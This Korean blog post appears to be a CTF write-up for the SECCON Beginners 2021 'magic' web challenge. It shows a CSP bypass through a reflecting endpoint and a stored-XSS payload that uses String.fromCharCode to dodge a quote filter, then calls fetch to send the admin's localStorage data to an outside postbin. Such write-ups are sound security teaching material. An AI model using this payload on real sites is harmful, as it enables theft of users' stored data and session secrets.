본문 바로가기
CTF

[SECCON - Beginners_CTF_2021] magic

by skyepodium 2023. 5. 28.

1. 개요

XSS, CSP, filtering 문제

 

2. 분석

1) CSP

script-src 'self' 로 걸려있어서 동일한 도메인 출처의 스크립트가 실행가능합니다.

style-src 'self' ; script-src 'self' ; object-src 'none' ; font-src 'none'

 

/magic API 의 코드를 보면, 파라미터로 받은 token을 돌려주기 때문에 이것을 활용해서 reflection XSS 가 가능합니다.

return res.status(200).send(escapeHTML(token) + " is invalid token.");

 

다음과 같이 메모를 저장하면, XSS가 동작합니다. (외부에서 JS 파일 가져오는 것과 유사합니다.)

- NOTE: // 을 넣어서 is invalid token. 부분을 주석처리 합니다.

<script src="/magic?token=alert(1) //"></script>

 

2) payload

postin을 생성하고, memo를 보면, postbin으로 요청하도록 작성합니다.
localStorage의 meme 키로 flag가 저장되어있기 때문에 payload로 보내도록 합니다.

서버에서 ', "" 을 필터링하고 있기 때문에 String.fromCharcode로 우회합니다.

<script src="/magic?token=fetch(String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 116, 111, 112, 116, 97, 108, 46, 99, 111, 109, 47, 100, 101, 118, 101, 108, 111, 112, 101, 114, 115, 47, 112, 111, 115, 116, 98, 105, 110, 47, 49, 54, 56, 53, 50, 56, 50, 48, 52, 56, 55, 53, 50, 45, 57, 53, 48, 51, 56, 51, 57, 48, 50, 50, 57, 52, 53, 63, 102, 108, 97, 103, 61)%2BencodeURI(localStorage.getItem(String.fromCharCode(109, 101, 109, 111))));//></script>

 

3) reporting

나의 매직 링크를 리포팅해서 admin이 나의 memo를 읽게 합니다.

 

4) 확인

postbin에 flag가 찍혔습니다.

'CTF' 카테고리의 다른 글

[waniCTF 2023] only_once  (0) 2023.06.04
[tjCTF 2023] beep-boop-robot  (0) 2023.05.29
[SECCON - Beginners_CTF_2021] json  (0) 2023.05.28
[SECCON - Beginners_CTF_2021]  cant_use_db  (0) 2023.05.28
[SECCON - Beginners_CTF_2021] osoba  (0) 2023.05.28